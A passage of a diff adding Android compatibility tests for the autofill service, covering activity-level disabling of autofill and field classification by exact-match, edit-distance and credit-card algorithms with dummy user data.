+                .setFillResponseFlags(FillResponse.FLAG_DISABLE_ACTIVITY_ONLY)
+                .build());
+
+        // Trigger autofill for the first time.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+
+        // Launch activity again.
+        long passedTime = launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+        // Make sure other app is working.
+        passedTime += launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+
+        // Wait for the timeout, then try again, autofilling it this time.
+        sleep(passedTime, duration);
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+    }
+
+    @Test
+    @AppModeFull(reason = "testDisableActivity() is enough")
+    public void testDisableActivityThenResetServiceToReenableIt() throws Exception {
+        enableService();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .disableAutofill(Long.MAX_VALUE)
+                .setFillResponseFlags(FillResponse.FLAG_DISABLE_ACTIVITY_ONLY)
+                .build());
+
+        // Trigger autofill for the first time.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+        // Launch activity again.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+        // Make sure other app is working.
+        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+
+        // Then "reset" service to re-enable autofill.
+        disableService();
+        enableService();
+
+        // Try again on activity that disabled it.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+    }
+
+    private void assertAutofillEnabled(AbstractAutoFillActivity activity, boolean expected)
+            throws Exception {
+        ACTIVITY_RESURRECTION.run(
+                "assertAutofillEnabled(" + activity.getComponentName().flattenToShortString() + ")",
+                () -> {
+                    return activity.getAutofillManager().isEnabled() == expected
+                            ? Boolean.TRUE : null;
+                });
+    }
+
+    private void sleep(long passedTime, long disableDuration) {
+        final long napTime = disableDuration - passedTime + 500;
+        if (napTime <= 0) {
+            // Throw an exception so ACTIVITY_RESURRECTION is increased
+            throw new RetryableException("took longer than expcted to launch activities: "
+                            + "passedTime=" + passedTime + "ms, disableDuration=" + disableDuration
+                            + ", ACTIVITY_RESURRECTION=" + ACTIVITY_RESURRECTION
+                            + ", CALLBACK_NOT_CALLED_TIMEOUT_MS=" + CALLBACK_NOT_CALLED_TIMEOUT_MS);
+        }
+        Log.v(TAG, "Sleeping for " + napTime + "ms (duration=" + disableDuration + "ms, passedTime="
+                + passedTime + ")");
+        SystemClock.sleep(napTime);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/FieldsClassificationTest.java b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/FieldsClassificationTest.java
new file mode 100644
index 0000000..4e552ff
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/FieldsClassificationTest.java
@@ -0,0 +1,862 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.servicebehavior;
+
+import static android.autofillservice.cts.activities.GridActivity.ID_L1C1;
+import static android.autofillservice.cts.activities.GridActivity.ID_L1C2;
+import static android.autofillservice.cts.activities.GridActivity.ID_L2C1;
+import static android.autofillservice.cts.activities.GridActivity.ID_L2C2;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForContextCommitted;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForFieldsClassification;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.provider.Settings.Secure.AUTOFILL_FEATURE_FIELD_CLASSIFICATION;
+import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_CATEGORY_COUNT;
+import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_FIELD_CLASSIFICATION_IDS_SIZE;
+import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_USER_DATA_SIZE;
+import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_VALUE_LENGTH;
+import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MIN_VALUE_LENGTH;
+import static android.service.autofill.AutofillFieldClassificationService.REQUIRED_ALGORITHM_CREDIT_CARD;
+import static android.service.autofill.AutofillFieldClassificationService.REQUIRED_ALGORITHM_EDIT_DISTANCE;
+import static android.service.autofill.AutofillFieldClassificationService.REQUIRED_ALGORITHM_EXACT_MATCH;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.autofillservice.cts.commontests.AbstractGridActivityTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.Helper.FieldClassificationResult;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.service.autofill.FillContext;
+import android.service.autofill.FillEventHistory.Event;
+import android.service.autofill.UserData;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillManager;
+import android.widget.EditText;
+
+import com.android.compatibility.common.util.SettingsStateChangerRule;
+
+import org.junit.ClassRule;
+import org.junit.Test;
+
+import java.util.List;
+import java.util.concurrent.atomic.AtomicReference;
+
+@Presubmit
+@AppModeFull(reason = "Service-specific test")
+public class FieldsClassificationTest extends AbstractGridActivityTestCase {
+
+    @ClassRule
+    public static final SettingsStateChangerRule sFeatureEnabler =
+            new SettingsStateChangerRule(sContext, AUTOFILL_FEATURE_FIELD_CLASSIFICATION, "1");
+
+    @ClassRule
+    public static final SettingsStateChangerRule sUserDataMaxFcSizeChanger =
+            new SettingsStateChangerRule(sContext,
+                    AUTOFILL_USER_DATA_MAX_FIELD_CLASSIFICATION_IDS_SIZE, "10");
+
+    @ClassRule
+    public static final SettingsStateChangerRule sUserDataMaxUserSizeChanger =
+            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_USER_DATA_SIZE, "9");
+
+    @ClassRule
+    public static final SettingsStateChangerRule sUserDataMinValueChanger =
+            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MIN_VALUE_LENGTH, "4");
+
+    @ClassRule
+    public static final SettingsStateChangerRule sUserDataMaxValueChanger =
+            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_VALUE_LENGTH, "50");
+
+    @ClassRule
+    public static final SettingsStateChangerRule sUserDataMaxCategoryChanger =
+            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_CATEGORY_COUNT, "42");
+
+    private AutofillManager mAfm;
+    private final Bundle mLast4Bundle = new Bundle();
+    private final Bundle mCreditCardBundle = new Bundle();
+
+    @Override
+    protected void postActivityLaunched() {
+        mAfm = mActivity.getAutofillManager();
+        mLast4Bundle.putInt("MATCH_SUFFIX", 4);
+
+        mCreditCardBundle.putInt("REQUIRED_ARG_MIN_CC_LENGTH", 13);
+        mCreditCardBundle.putInt("REQUIRED_ARG_MAX_CC_LENGTH", 19);
+        mCreditCardBundle.putInt("OPTIONAL_ARG_SUFFIX_LENGTH", 4);
+    }
+
+    @Test
+    public void testFeatureIsEnabled() throws Exception {
+        enableService();
+        assertThat(mAfm.isFieldClassificationEnabled()).isTrue();
+
+        disableService();
+        assertThat(mAfm.isFieldClassificationEnabled()).isFalse();
+    }
+
+    @Test
+    public void testGetAlgorithm() throws Exception {
+        enableService();
+
+        // Check algorithms
+        final List<String> names = mAfm.getAvailableFieldClassificationAlgorithms();
+        assertThat(names.size()).isAtLeast(1);
+        final String defaultAlgorithm = mAfm.getDefaultFieldClassificationAlgorithm();
+        assertThat(defaultAlgorithm).isNotEmpty();
+        assertThat(names).contains(defaultAlgorithm);
+
+        // Checks invalid service
+        disableService();
+        assertThat(mAfm.getAvailableFieldClassificationAlgorithms()).isEmpty();
+    }
+
+    @Test
+    public void testUserData() throws Exception {
+        assertThat(mAfm.getUserData()).isNull();
+        assertThat(mAfm.getUserDataId()).isNull();
+
+        enableService();
+        mAfm.setUserData(new UserData.Builder("user_data_id", "value", "remote_id")
+                .build());
+        assertThat(mAfm.getUserData()).isNotNull();
+        assertThat(mAfm.getUserDataId()).isEqualTo("user_data_id");
+        final UserData userData = mAfm.getUserData();
+        assertThat(userData.getId()).isEqualTo("user_data_id");
+        assertThat(userData.getFieldClassificationAlgorithm()).isNull();
+        assertThat(userData.getFieldClassificationAlgorithms()).isNull();
+
+        disableService();
+        assertThat(mAfm.getUserData()).isNull();
+        assertThat(mAfm.getUserDataId()).isNull();
+    }
+
+    @Test
+    public void testRequiredAlgorithmsAvailable() throws Exception {
+        enableService();
+        final List<String> availableAlgorithms = mAfm.getAvailableFieldClassificationAlgorithms();
+        assertThat(availableAlgorithms).isNotNull();
+        assertThat(availableAlgorithms.contains(REQUIRED_ALGORITHM_EDIT_DISTANCE)).isTrue();
+        assertThat(availableAlgorithms.contains(REQUIRED_ALGORITHM_EXACT_MATCH)).isTrue();
+        assertThat(availableAlgorithms.contains(REQUIRED_ALGORITHM_CREDIT_CARD)).isTrue();
+    }
+
+    @Test
+    public void testUserDataConstraints() throws Exception {
+        // NOTE: values set by the SettingsStateChangerRule @Rules should have unique values to
+        // make sure the getters below are reading the right property.
+        assertThat(UserData.getMaxFieldClassificationIdsSize()).isEqualTo(10);
+        assertThat(UserData.getMaxUserDataSize()).isEqualTo(9);
+        assertThat(UserData.getMinValueLength()).isEqualTo(4);
+        assertThat(UserData.getMaxValueLength()).isEqualTo(50);
+        assertThat(UserData.getMaxCategoryCount()).isEqualTo(42);
+    }
+
+    @Test
+    public void testHit_oneUserData_oneDetectableField() throws Exception {
+        simpleHitTest(false, null);
+    }
+
+    @Test
+    public void testHit_invalidAlgorithmIsIgnored() throws Exception {
+        // For simplicity's sake, let's assume that name will never be valid..
+        String invalidName = " ALGORITHM, Y NO INVALID? ";
+
+        simpleHitTest(true, invalidName);
+    }
+
+    @Test
+    public void testHit_userDataAlgorithmIsReset() throws Exception {
+        simpleHitTest(true, null);
+    }
+
+    @Test
+    public void testMiss_exactMatchAlgorithm() throws Exception {
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData
+                .Builder("id", "t 1234", "cat")
+                .setFieldClassificationAlgorithmForCategory("cat",
+                        REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
+                .build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "t 5678");
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0), null);
+    }
+
+    @Test
+    public void testHit_exactMatchLast4Algorithm() throws Exception {
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData
+                .Builder("id", "1234", "cat")
+                .setFieldClassificationAlgorithmForCategory("cat",
+                        REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
+                .build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1)
+                .setVisitor((contexts, builder) -> fieldId
+                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "T1234");
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0), fieldId.get(), "cat", 1);
+    }
+
+    @Test
+    public void testHit_CreditCardAlgorithm() throws Exception {
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData
+                .Builder("id", "1122334455667788", "card")
+                .setFieldClassificationAlgorithmForCategory("card",
+                        REQUIRED_ALGORITHM_CREDIT_CARD, mCreditCardBundle)
+                .build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1)
+                .setVisitor((contexts, builder) -> fieldId
+                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "7788");
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0), fieldId.get(), "card", 1);
+    }
+
+    @Test
+    public void testHit_useDefaultAlgorithm() throws Exception {
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData
+                .Builder("id", "1234", "cat")
+                .setFieldClassificationAlgorithm(REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
+                .setFieldClassificationAlgorithmForCategory("dog",
+                        REQUIRED_ALGORITHM_EDIT_DISTANCE, null)
+                .build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1)
+                .setVisitor((contexts, builder) -> fieldId
+                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "T1234");
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0), fieldId.get(), "cat", 1);
+    }
+
+    private void simpleHitTest(boolean setAlgorithm, String algorithm) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final UserData.Builder userData = new UserData.Builder("id", "FULLY", "myId");
+        if (setAlgorithm) {
+            userData.setFieldClassificationAlgorithm(algorithm, null);
+        }
+        mAfm.setUserData(userData.build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1)
+                .setVisitor((contexts, builder) -> fieldId
+                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "fully");
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0), fieldId.get(), "myId", 1);
+    }
+
+    @Test
+    public void testHit_sameValueForMultipleCategories() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData
+                .Builder("id", "FULLY", "cat1")
+                .add("FULLY", "cat2")
+                .build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1)
+                .setVisitor((contexts, builder) -> fieldId
+                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "fully");
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0),
+                new FieldClassificationResult[] {
+                        new FieldClassificationResult(fieldId.get(),
+                                new String[] { "cat1", "cat2"},
+                                new float[] {1, 1})
+                });
+    }
+
+    @Test
+    public void testHit_manyUserData_oneDetectableField_bestMatchIsFirst() throws Exception {
+        manyUserData_oneDetectableField(true);
+    }
+
+    @Test
+    public void testHit_manyUserData_oneDetectableField_bestMatchIsSecond() throws Exception {
+        manyUserData_oneDetectableField(false);
+    }
+
+    private void manyUserData_oneDetectableField(boolean firstMatch) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData.Builder("id", "Iam1ST", "1stId")
+                .add("Iam2ND", "2ndId").build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1)
+                .setVisitor((contexts, builder) -> fieldId
+                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, firstMatch ? "IAM111" : "IAM222");
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        // Best match is 0.66 (4 of 6), worst is 0.5 (3 of 6)
+        if (firstMatch) {
+            assertFillEventForFieldsClassification(events.get(0), new FieldClassificationResult[] {
+                    new FieldClassificationResult(fieldId.get(), new String[] { "1stId", "2ndId" },
+                            new float[] { 0.66F, 0.5F })});
+        } else {
+            assertFillEventForFieldsClassification(events.get(0), new FieldClassificationResult[] {
+                    new FieldClassificationResult(fieldId.get(), new String[] { "2ndId", "1stId" },
+                            new float[] { 0.66F, 0.5F }) });
+        }
+    }
+
+    @Test
+    public void testHit_oneUserData_manyDetectableFields() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData.Builder("id", "FULLY", "myId").build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field1 = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
+        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1, ID_L1C2)
+                .setVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    fieldId1.set(findAutofillIdByResourceId(context, ID_L1C1));
+                    fieldId2.set(findAutofillIdByResourceId(context, ID_L1C2));
+                })
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field1);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "fully"); // 100%
+        mActivity.setText(1, 2, "fooly"); // 60%
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0),
+                new FieldClassificationResult[] {
+                        new FieldClassificationResult(fieldId1.get(), "myId", 1.0F),
+                        new FieldClassificationResult(fieldId2.get(), "myId", 0.6F),
+                });
+    }
+
+    @Test
+    public void testHit_manyUserData_manyDetectableFields() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData.Builder("id", "FULLY", "myId")
+                .add("ZZZZZZZZZZ", "totalMiss") // should not have matched any
+                .add("EMPTY", "otherId")
+                .build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field1 = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
+        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
+        final AtomicReference<AutofillId> fieldId3 = new AtomicReference<>();
+        final AtomicReference<AutofillId> fieldId4 = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1, ID_L1C2)
+                .setVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    fieldId1.set(findAutofillIdByResourceId(context, ID_L1C1));
+                    fieldId2.set(findAutofillIdByResourceId(context, ID_L1C2));
+                    fieldId3.set(findAutofillIdByResourceId(context, ID_L2C1));
+                    fieldId4.set(findAutofillIdByResourceId(context, ID_L2C2));
+                })
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field1);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "fully"); // u1: 100% u2:  20%
+        mActivity.setText(1, 2, "empty"); // u1:  20% u2: 100%
+        mActivity.setText(2, 1, "fooly"); // u1:  60% u2:  20%
+        mActivity.setText(2, 2, "emppy"); // u1:  20% u2:  80%
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0),
+                new FieldClassificationResult[] {
+                        new FieldClassificationResult(fieldId1.get(),
+                                new String[] { "myId", "otherId" }, new float[] { 1.0F, 0.2F }),
+                        new FieldClassificationResult(fieldId2.get(),
+                                new String[] { "otherId", "myId" }, new float[] { 1.0F, 0.2F }),
+                        new FieldClassificationResult(fieldId3.get(),
+                                new String[] { "myId", "otherId" }, new float[] { 0.6F, 0.2F }),
+                        new FieldClassificationResult(fieldId4.get(),
+                                new String[] { "otherId", "myId"}, new float[] { 0.80F, 0.2F })});
+    }
+
+    @Test
+    public void testHit_manyUserData_manyDetectableFields_differentClassificationAlgo()
+            throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData.Builder("id", "1234", "myId")
+                .add("ZZZZZZZZZZ", "totalMiss") // should not have matched any
+                .add("EMPTY", "otherId")
+                .setFieldClassificationAlgorithmForCategory("myId",
+                        REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
+                .setFieldClassificationAlgorithmForCategory("otherId",
+                        REQUIRED_ALGORITHM_EDIT_DISTANCE, null)
+                .build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field1 = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
+        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
+        final AtomicReference<AutofillId> fieldId3 = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1, ID_L1C2)
+                .setVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    fieldId1.set(findAutofillIdByResourceId(context, ID_L1C1));
+                    fieldId2.set(findAutofillIdByResourceId(context, ID_L1C2));
+                    fieldId3.set(findAutofillIdByResourceId(context, ID_L2C1));
+                })
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field1);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "E1234"); // u1: 100% u2:  20%
+        mActivity.setText(1, 2, "empty"); // u1:   0% u2: 100%
+        mActivity.setText(2, 1, "fULLy"); // u1:   0% u2:  20%
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0),
+                new FieldClassificationResult[] {
+                        new FieldClassificationResult(fieldId1.get(),
+                                new String[] { "myId", "otherId" }, new float[] { 1.0F, 0.2F }),
+                        new FieldClassificationResult(fieldId2.get(),
+                                new String[] { "otherId" }, new float[] { 1.0F }),
+                        new FieldClassificationResult(fieldId3.get(),
+                                new String[] { "otherId" }, new float[] { 0.2F })});
+    }
+
+    @Test
+    public void testHit_manyUserDataPerField_manyDetectableFields() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData.Builder("id", "zzzzz", "myId") // should not have matched any
+                .add("FULL1", "myId") // match 80%, should not have been reported
+                .add("FULLY", "myId") // match 100%
+                .add("ZZZZZZZZZZ", "totalMiss") // should not have matched any
+                .add("EMPTY", "otherId")
+                .build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field1 = mActivity.getCell(1, 1);
+        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
+        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
+        final AtomicReference<AutofillId> fieldId3 = new AtomicReference<>();
+        final AtomicReference<AutofillId> fieldId4 = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1, ID_L1C2)
+                .setVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    fieldId1.set(findAutofillIdByResourceId(context, ID_L1C1));
+                    fieldId2.set(findAutofillIdByResourceId(context, ID_L1C2));
+                    fieldId3.set(findAutofillIdByResourceId(context, ID_L2C1));
+                    fieldId4.set(findAutofillIdByResourceId(context, ID_L2C2));
+                })
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field1);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "fully"); // u1: 100% u2:  20%
+        mActivity.setText(1, 2, "empty"); // u1:  20% u2: 100%
+        mActivity.setText(2, 1, "fooly"); // u1:  60% u2:  20%
+        mActivity.setText(2, 2, "emppy"); // u1:  20% u2:  80%
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForFieldsClassification(events.get(0),
+                new FieldClassificationResult[] {
+                        new FieldClassificationResult(fieldId1.get(),
+                                new String[] { "myId", "otherId" }, new float[] { 1.0F, 0.2F }),
+                        new FieldClassificationResult(fieldId2.get(),
+                                new String[] { "otherId", "myId" }, new float[] { 1.0F, 0.2F }),
+                        new FieldClassificationResult(fieldId3.get(),
+                                new String[] { "myId", "otherId" }, new float[] { 0.6F, 0.2F }),
+                        new FieldClassificationResult(fieldId4.get(),
+                                new String[] { "otherId", "myId"}, new float[] { 0.80F, 0.2F })});
+    }
+
+    @Test
+    public void testMiss() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData.Builder("id", "ABCDEF", "myId").build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Simulate user input
+        mActivity.setText(1, 1, "xyz");
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForContextCommitted(events.get(0));
+    }
+
+    @Test
+    public void testNoUserInput() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData.Builder("id", "FULLY", "myId").build());
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFieldClassificationIds(ID_L1C1)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertNoDatasetsEver();
+        callback.assertUiUnavailableEvent(field);
+
+        // Finish context.
+        mAfm.commit();
+
+        // Assert results
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+        assertFillEventForContextCommitted(events.get(0));
+    }
+
+    @Test
+    public void testHit_usePackageUserData() throws Exception {
+        enableService();
+
+        // Set expectations.
+        mAfm.setUserData(new UserData
+                .Builder("id", "TEST1", "cat")
+                .setFieldClassificationAlgorithm(null, null)
+                .build());
+
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText field = mActivity.getCell(1, 1);
